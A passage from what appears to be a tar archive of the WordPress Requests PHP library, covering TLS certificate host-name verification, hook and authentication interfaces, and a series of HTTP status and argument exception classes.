subject alternative names * * Unfortunately, PHP doesn't check the certificate against the alternative * names, leading things like 'https://www.github.com/' to be invalid. * * @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1 * * @param string|Stringable $host Host name to verify against * @param array $cert Certificate data from openssl_x509_parse() * @return bool * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $host argument is not a string or a stringable object. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cert argument is not an array or array accessible. */ public static function verify_certificate($host, $cert) { if (InputValidator::is_string_or_stringable($host) === false) { throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host)); } if (InputValidator::has_array_access($cert) === false) { throw InvalidArgument::create(2, '$cert', 'array|ArrayAccess', gettype($cert)); } $has_dns_alt = false; // Check the subjectAltName if (!empty($cert['extensions']['subjectAltName'])) { $altnames = explode(',', $cert['extensions']['subjectAltName']); foreach ($altnames as $altname) { $altname = trim($altname); if (strpos($altname, 'DNS:') !== 0) { continue; } $has_dns_alt = true; // Strip the 'DNS:' prefix and trim whitespace $altname = trim(substr($altname, 4)); // Check for a match if (self::match_domain($host, $altname) === true) { return true; } } if ($has_dns_alt === true) { return false; } } // Fall back to checking the common name if we didn't get any dNSName // alt names, as per RFC2818 if (!empty($cert['subject']['CN'])) { // Check for a match return (self::match_domain($host, $cert['subject']['CN']) === true); } return false; } /** * Verify that a reference name is valid * * Verifies a dNSName for HTTPS usage, (almost) as per Firefox's rules: * - Wildcards can only occur in a name with more than 3 components * - Wildcards can only occur as the last character in the first * component * - Wildcards may be preceded by additional characters * * We modify these rules to be a bit stricter and only allow the wildcard * character to be the full first component; that is, with the exclusion of * the third rule. * * @param string|Stringable $reference Reference dNSName * @return boolean Is the name valid? * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object. */ public static function verify_reference_name($reference) { if (InputValidator::is_string_or_stringable($reference) === false) { throw InvalidArgument::create(1, '$reference', 'string|Stringable', gettype($reference)); } if ($reference === '') { return false; } if (preg_match('`\s`', $reference) > 0) { // Whitespace detected. This can never be a dNSName. return false; } $parts = explode('.', $reference); if ($parts !== array_filter($parts)) { // DNSName cannot contain two dots next to each other. return false; } // Check the first part of the name $first = array_shift($parts); if (strpos($first, '*') !== false) { // Check that the wildcard is the full part if ($first !== '*') { return false; } // Check that we have at least 3 components (including first) if (count($parts) < 2) { return false; } } // Check the remaining parts foreach ($parts as $part) { if (strpos($part, '*') !== false) { return false; } } // Nothing found, verified! return true; } /** * Match a hostname against a dNSName reference * * @param string|Stringable $host Requested host * @param string|Stringable $reference dNSName to match against * @return boolean Does the domain match? * @throws \WpOrg\Requests\Exception\InvalidArgument When either of the passed arguments is not a string or a stringable object. */ public static function match_domain($host, $reference) { if (InputValidator::is_string_or_stringable($host) === false) { throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host)); } // Check if the reference is blocklisted first if (self::verify_reference_name($reference) !== true) { return false; } // Check for a direct match if ((string) $host === (string) $reference) { return true; } // Calculate the valid wildcard match if the host is not an IP address // Also validates that the host has 3 parts or more, as per Firefox's ruleset, // as a wildcard reference is only allowed with 3 parts or more, so the // comparison will never match if host doesn't contain 3 parts or more as well. if (ip2long($host) === false) { $parts = explode('.', $host); $parts[0] = '*'; $wildcard = implode('.', $parts); if ($wildcard === (string) $reference) { return true; } } return false; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/HookManager.php������������������������������������������������������������������������0000644�����������������00000001305�14717703502�0012057 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Event dispatcher * * @package Requests\EventDispatcher */ namespace WpOrg\Requests; /** * Event dispatcher * * @package Requests\EventDispatcher */ interface HookManager { /** * Register a callback for a hook * * @param string $hook Hook name * @param callable $callback Function/method to call on event * @param int $priority Priority number. <0 is executed earlier, >0 is executed later */ public function register($hook, $callback, $priority = 0); /** * Dispatch a message * * @param string $hook Hook name * @param array $parameters Parameters to pass to callbacks * @return boolean Successfulness */ public function dispatch($hook, $parameters = []); } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Auth.php�������������������������������������������������������������������������������0000644�����������������00000001534�14717703502�0010571 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Authentication provider interface * * @package Requests\Authentication */ namespace WpOrg\Requests; use WpOrg\Requests\Hooks; /** * Authentication provider interface * * Implement this interface to act as an authentication provider. * * Parameters should be passed via the constructor where possible, as this * makes it much easier for users to use your provider. * * @see \WpOrg\Requests\Hooks * * @package Requests\Authentication */ interface Auth { /** * Register hooks as needed * * This method is called in {@see \WpOrg\Requests\Requests::request()} when the user * has set an instance as the 'auth' option. Use this callback to register all the * hooks you'll need. * * @see \WpOrg\Requests\Hooks::register() * @param \WpOrg\Requests\Hooks $hooks Hook system */ public function register(Hooks $hooks); } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Exception/Transport/Curl.php�����������������������������������������������������������0000644�����������������00000002565�14717703502�0014534 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * CURL Transport Exception. * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Transport; use WpOrg\Requests\Exception\Transport; /** * CURL Transport Exception. * * @package Requests\Exceptions */ final class Curl extends Transport { const EASY = 'cURLEasy'; const MULTI = 'cURLMulti'; const SHARE = 'cURLShare'; /** * cURL error code * * @var integer */ protected $code = -1; /** * Which type of cURL error * * EASY|MULTI|SHARE * * @var string */ protected $type = 'Unknown'; /** * Clear text error message * * @var string */ protected $reason = 'Unknown'; /** * Create a new exception. * * @param string $message Exception message. * @param string $type Exception type. * @param mixed $data Associated data, if applicable. * @param int $code Exception numerical code, if applicable. */ public function __construct($message, $type, $data = null, $code = 0) { if ($type !== null) { $this->type = $type; } if ($code !== null) { $this->code = (int) $code; } if ($message !== null) { $this->reason = $message; } $message = sprintf('%d %s', $this->code, $this->reason); parent::__construct($message, $this->type, $data, $this->code); } /** * Get the error message. * * @return string */ public function getReason() { return $this->reason; } } �������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Exception/InvalidArgument.php����������������������������������������������������������0000644�����������������00000002122�14717703502�0014711 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace WpOrg\Requests\Exception; use InvalidArgumentException; /** * Exception for an invalid argument passed. * * @package Requests\Exceptions * @since 2.0.0 */ final class InvalidArgument extends InvalidArgumentException { /** * Create a new invalid argument exception with a standardized text. * * @param int $position The argument position in the function signature. 1-based. * @param string $name The argument name in the function signature. * @param string $expected The argument type expected as a string. * @param string $received The actual argument type received. * * @return \WpOrg\Requests\Exception\InvalidArgument */ public static function create($position, $name, $expected, $received) { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace $stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); return new self( sprintf( '%s::%s(): Argument #%d (%s) must be of type %s, %s given', $stack[1]['class'], $stack[1]['function'], $position, $name, $expected, $received ) ); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Exception/Http.php���������������������������������������������������������������������0000644�����������������00000003006�14717703502�0012541 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception based on HTTP response * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception; use WpOrg\Requests\Exception; use WpOrg\Requests\Exception\Http\StatusUnknown; /** * Exception based on HTTP response * * @package Requests\Exceptions */ class Http extends Exception { /** * HTTP status code * * @var integer */ protected $code = 0; /** * Reason phrase * * @var string */ protected $reason = 'Unknown'; /** * Create a new exception * * There is no mechanism to pass in the status code, as this is set by the * subclass used. Reason phrases can vary, however. * * @param string|null $reason Reason phrase * @param mixed $data Associated data */ public function __construct($reason = null, $data = null) { if ($reason !== null) { $this->reason = $reason; } $message = sprintf('%d %s', $this->code, $this->reason); parent::__construct($message, 'httpresponse', $data, $this->code); } /** * Get the status message. * * @return string */ public function getReason() { return $this->reason; } /** * Get the correct exception class for a given error code * * @param int|bool $code HTTP status code, or false if unavailable * @return string Exception class name to use */ public static function get_class($code) { if (!$code) { return StatusUnknown::class; } $class = sprintf('\WpOrg\Requests\Exception\Http\Status%d', $code); if (class_exists($class)) { return $class; } return StatusUnknown::class; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Exception/ArgumentCount.php������������������������������������������������������������0000644�����������������00000002664�14717703502�0014426 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace WpOrg\Requests\Exception; use WpOrg\Requests\Exception; /** * Exception for when an incorrect number of arguments are passed to a method. * * Typically, this exception is used when all arguments for a method are optional, * but certain arguments need to be passed together, i.e. a method which can be called * with no arguments or with two arguments, but not with one argument. * * Along the same lines, this exception is also used if a method expects an array * with a certain number of elements and the provided number of elements does not comply. * * @package Requests\Exceptions * @since 2.0.0 */ final class ArgumentCount extends Exception { /** * Create a new argument count exception with a standardized text. * * @param string $expected The argument count expected as a phrase. * For example: `at least 2 arguments` or `exactly 1 argument`. * @param int $received The actual argument count received. * @param string $type Exception type. * * @return \WpOrg\Requests\Exception\ArgumentCount */ public static function create($expected, $received, $type) { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace $stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); return new self( sprintf( '%s::%s() expects %s, %d given', $stack[1]['class'], $stack[1]['function'], $expected, $received ), $type ); } } ����������������������������������������������������������������������������Requests/src/Exception/Transport.php����������������������������������������������������������������0000644�����������������00000000364�14717703502�0013622 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Transport Exception * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception; use WpOrg\Requests\Exception; /** * Transport Exception * * @package Requests\Exceptions */ class Transport extends Exception {} ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Exception/Http/Status400.php�����������������������������������������������������������0000644�����������������00000000711�14717703502�0014250 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 400 Bad Request responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 400 Bad Request responses * * @package Requests\Exceptions */ final class Status400 extends Http { /** * HTTP status code * * @var integer */ protected $code = 400; /** * Reason phrase * * @var string */ protected $reason = 'Bad Request'; } �������������������������������������������������������Requests/src/Exception/Http/Status511.php�����������������������������������������������������������0000644�����������������00000001145�14717703502�0014255 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 511 Network Authentication Required responses * * @link https://tools.ietf.org/html/rfc6585 * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 511 Network Authentication Required responses * * @link https://tools.ietf.org/html/rfc6585 * * @package Requests\Exceptions */ final class Status511 extends Http { /** * HTTP status code * * @var integer */ protected $code = 511; /** * Reason phrase * * @var string */ protected $reason = 'Network Authentication Required'; } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Exception/Http/Status304.php�����������������������������������������������������������0000644�����������������00000000714�14717703502�0014256 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 304 Not Modified responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 304 Not Modified responses * * @package Requests\Exceptions */ final class Status304 extends Http { /** * HTTP status code * * @var integer */ protected $code = 304; /** * Reason phrase * * @var string */ protected $reason = 'Not Modified'; } ����������������������������������������������������Requests/src/Exception/Http/Status504.php�����������������������������������������������������������0000644�����������������00000000725�14717703502�0014262 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 504 Gateway Timeout responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 504 Gateway Timeout responses * * @package Requests\Exceptions */ final class Status504 extends Http { /** * HTTP status code * * @var integer */ protected $code = 504; /** * Reason phrase * * @var string */ protected $reason = 'Gateway Timeout'; } �������������������������������������������Requests/src/Exception/Http/StatusUnknown.php�������������������������������������������������������0000644�����������������00000001712�14717703502�0015406 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for unknown status responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; use WpOrg\Requests\Response; /** * Exception for unknown status responses * * @package Requests\Exceptions */ final class StatusUnknown extends Http { /** * HTTP status code * * @var integer|bool Code if available, false if an error occurred */ protected $code = 0; /** * Reason phrase * * @var string */ protected $reason = 'Unknown'; /** * Create a new exception * * If `$data` is an instance of {@see \WpOrg\Requests\Response}, uses the status * code from it. Otherwise, sets as 0 * * @param string|null $reason Reason phrase * @param mixed $data Associated data */ public function __construct($reason = null, $data = null) { if ($data instanceof Response) { $this->code = (int) $data->status_code; } parent::__construct($reason, $data); } } ������������������������������������������������������Requests/src/Exception/Http/Status500.php�����������������������������������������������������������0000644�����������������00000000747�14717703502�0014262 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 500 Internal Server Error responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 500 Internal Server Error responses * * @package Requests\Exceptions */ final class Status500 extends Http { /** * HTTP status code * * @var integer */ protected $code = 500; /** * Reason phrase * * @var string */ protected $reason = 'Internal Server Error'; } �������������������������Requests/src/Exception/Http/Status407.php�����������������������������������������������������������0000644�����������������00000000777�14717703502�0014273 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 407 Proxy Authentication Required responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 407 Proxy Authentication Required responses * * @package Requests\Exceptions */ final class Status407 extends Http { /** * HTTP status code * * @var integer */ protected $code = 407; /** * Reason phrase * * @var string */ protected $reason = 'Proxy Authentication Required'; } �Requests/src/Exception/Http/Status501.php�����������������������������������������������������������0000644�����������������00000000725�14717703502�0014257 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 501 Not Implemented responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 501 Not Implemented responses * * @package Requests\Exceptions */ final class Status501 extends Http { /** * HTTP status code * * @var integer */ protected $code = 501; /** * Reason phrase * * @var string */ protected $reason = 'Not Implemented'; } �������������������������������������������Requests/src/Exception/Http/Status402.php�����������������������������������������������������������0000644�����������������00000000730�14717703502�0014253 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 402 Payment Required responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 402 Payment Required responses * * @package Requests\Exceptions */ final class Status402 extends Http { /** * HTTP status code * * @var integer */ protected $code = 402; /** * Reason phrase * * @var string */ protected $reason = 'Payment Required'; } ����������������������������������������Requests/src/Exception/Http/Status417.php�����������������������������������������������������������0000644�����������������00000000736�14717703502�0014267 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 417 Expectation Failed responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 417 Expectation Failed responses * * @package Requests\Exceptions */ final class Status417 extends Http { /** * HTTP status code * * @var integer */ protected $code = 417; /** * Reason phrase * * @var string */ protected $reason = 'Expectation Failed'; } ����������������������������������Requests/src/Exception/Http/Status411.php�����������������������������������������������������������0000644�����������������00000000725�14717703502�0014257 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 411 Length Required responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 411 Length Required responses * * @package Requests\Exceptions */ final class Status411 extends Http { /** * HTTP status code * * @var integer */ protected $code = 411; /** * Reason phrase * * @var string */ protected $reason = 'Length Required'; } �������������������������������������������Requests/src/Exception/Http/Status416.php�����������������������������������������������������������0000644�����������������00000001005�14717703502�0014254 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 416 Requested Range Not Satisfiable responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 416 Requested Range Not Satisfiable responses * * @package Requests\Exceptions */ final class Status416 extends Http { /** * HTTP status code * * @var integer */ protected $code = 416; /** * Reason phrase * * @var string */ protected $reason = 'Requested Range Not Satisfiable'; } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Exception/Http/Status429.php�����������������������������������������������������������0000644�����������������00000001163�14717703502�0014265 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 429 Too Many Requests responses * * @link https://tools.ietf.org/html/draft-nottingham-http-new-status-04 * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 429 Too Many Requests responses * * @link https://tools.ietf.org/html/draft-nottingham-http-new-status-04 * * @package Requests\Exceptions */ final class Status429 extends Http { /** * HTTP status code * * @var integer */ protected $code = 429; /** * Reason phrase * * @var string */ protected $reason = 'Too Many Requests'; } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Exception/Http/Status409.php�����������������������������������������������������������0000644�����������������00000000700�14717703502�0014257 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 409 Conflict responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 409 Conflict responses * * @package Requests\Exceptions */ final class Status409 extends Http { /** * HTTP status code * * @var integer */ protected $code = 409; /** * Reason phrase * * @var string */ protected $reason = 'Conflict'; } ����������������������������������������������������������������Requests/src/Exception/Http/Status406.php�����������������������������������������������������������0000644�����������������00000000722�14717703502�0014260 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 406 Not Acceptable responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 406 Not Acceptable responses * * @package Requests\Exceptions */ final class Status406 extends Http { /** * HTTP status code * * @var integer */ protected $code = 406; /** * Reason phrase * * @var string */ protected $reason = 'Not Acceptable'; } ����������������������������������������������Requests/src/Exception/Http/Status401.php�����������������������������������������������������������0000644�����������������00000000714�14717703502�0014254 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 401 Unauthorized responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 401 Unauthorized responses * * @package Requests\Exceptions */ final class Status401 extends Http { /** * HTTP status code * * @var integer */ protected $code = 401; /** * Reason phrase * * @var string */ protected $reason = 'Unauthorized'; } ����������������������������������������������������Requests/src/Exception/Http/Status405.php�����������������������������������������������������������0000644�����������������00000000736�14717703502�0014264 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 405 Method Not Allowed responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 405 Method Not Allowed responses * * @package Requests\Exceptions */ final class Status405 extends Http { /** * HTTP status code * * @var integer */ protected $code = 405; /** * Reason phrase * * @var string */ protected $reason = 'Method Not Allowed'; } ����������������������������������Requests/src/Exception/Http/Status502.php�����������������������������������������������������������0000644�����������������00000000711�14717703502�0014253 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 502 Bad Gateway responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 502 Bad Gateway responses * * @package Requests\Exceptions */ final class Status502 extends Http { /** * HTTP status code * * @var integer */ protected $code = 502; /** * Reason phrase * * @var string */ protected $reason = 'Bad Gateway'; } �������������������������������������������������������Requests/src/Exception/Http/Status403.php�����������������������������������������������������������0000644�����������������00000000703�14717703502�0014254 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 403 Forbidden responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 403 Forbidden responses * * @package Requests\Exceptions */ final class Status403 extends Http { /** * HTTP status code * * @var integer */ protected $code = 403; /** * Reason phrase * * @var string */ protected $reason = 'Forbidden'; } �������������������������������������������������������������Requests/src/Exception/Http/Status418.php�����������������������������������������������������������0000644�����������������00000001054�14717703502�0014262 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 418 I'm A Teapot responses * * @link https://tools.ietf.org/html/rfc2324 * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 418 I'm A Teapot responses * * @link https://tools.ietf.org/html/rfc2324 * * @package Requests\Exceptions */ final class Status418 extends Http { /** * HTTP status code * * @var integer */ protected $code = 418; /** * Reason phrase * * @var string */ protected $reason = "I'm A Teapot"; } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Exception/Http/Status413.php�����������������������������������������������������������0000644�����������������00000000760�14717703502�0014260 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 413 Request Entity Too Large responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 413 Request Entity Too Large responses * * @package Requests\Exceptions */ final class Status413 extends Http { /** * HTTP status code * * @var integer */ protected $code = 413; /** * Reason phrase * * @var string */ protected $reason = 'Request Entity Too Large'; } ����������������Requests/src/Exception/Http/Status415.php�����������������������������������������������������������0000644�����������������00000000752�14717703502�0014263 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 415 Unsupported Media Type responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 415 Unsupported Media Type responses * * @package Requests\Exceptions */ final class Status415 extends Http { /** * HTTP status code * * @var integer */ protected $code = 415; /** * Reason phrase * * @var string */ protected $reason = 'Unsupported Media Type'; } ����������������������Requests/src/Exception/Http/Status306.php�����������������������������������������������������������0000644�����������������00000000714�14717703502�0014260 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 306 Switch Proxy responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 306 Switch Proxy responses * * @package Requests\Exceptions */ final class Status306 extends Http { /** * HTTP status code * * @var integer */ protected $code = 306; /** * Reason phrase * * @var string */ protected $reason = 'Switch Proxy'; } ����������������������������������������������������Requests/src/Exception/Http/Status431.php�����������������������������������������������������������0000644�����������������00000001145�14717703502�0014256 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 431 Request Header Fields Too Large responses * * @link https://tools.ietf.org/html/rfc6585 * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 431 Request Header Fields Too Large responses * * @link https://tools.ietf.org/html/rfc6585 * * @package Requests\Exceptions */ final class Status431 extends Http { /** * HTTP status code * * @var integer */ protected $code = 431; /** * Reason phrase * * @var string */ protected $reason = 'Request Header Fields Too Large'; } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Exception/Http/Status412.php�����������������������������������������������������������0000644�����������������00000000741�14717703502�0014256 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 412 Precondition Failed responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 412 Precondition Failed responses * * @package Requests\Exceptions */ final class Status412 extends Http { /** * HTTP status code * * @var integer */ protected $code = 412; /** * Reason phrase * * @var string */ protected $reason = 'Precondition Failed'; } �������������������������������Requests/src/Exception/Http/Status404.php�����������������������������������������������������������0000644�����������������00000000703�14717703502�0014255 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 404 Not Found responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 404 Not Found responses * * @package Requests\Exceptions */ final class Status404 extends Http { /** * HTTP status code * * @var integer */ protected $code = 404; /** * Reason phrase * * @var string */ protected $reason = 'Not Found'; } �������������������������������������������������������������Requests/src/Exception/Http/Status305.php�����������������������������������������������������������0000644�����������������00000000703�14717703502�0014255 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 305 Use Proxy responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 305 Use Proxy responses * * @package Requests\Exceptions */ final class Status305 extends Http { /** * HTTP status code * * @var integer */ protected $code = 305; /** * Reason phrase * * @var string */ protected $reason = 'Use Proxy'; } �������������������������������������������������������������Requests/src/Exception/Http/Status428.php�����������������������������������������������������������0000644�����������������00000001107�14717703502�0014262 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 428 Precondition Required responses * * @link https://tools.ietf.org/html/rfc6585 * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 428 Precondition Required responses * * @link https://tools.ietf.org/html/rfc6585 * * @package Requests\Exceptions */ final class Status428 extends Http { /** * HTTP status code * * @var integer */ protected $code = 428; /** * Reason phrase * * @var string */ protected $reason = 'Precondition Required'; } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Exception/Http/Status414.php�����������������������������������������������������������0000644�����������������00000000747�14717703502�0014266 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for 414 Request-URI Too Large responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 414 Request-URI Too Large responses * * @package Requests\Exceptions */ final class Status414 extends Http { /** * HTTP status code * * @var integer */ protected $code = 414; /** * Reason phrase * * @var string */ protected $reason = 'Request-URI Too Large'; } �������������������������Requests/src/Exception/Http/Status408.php�����������������������������������������������������������0000644�����������������00000000725�14717703502�0014265 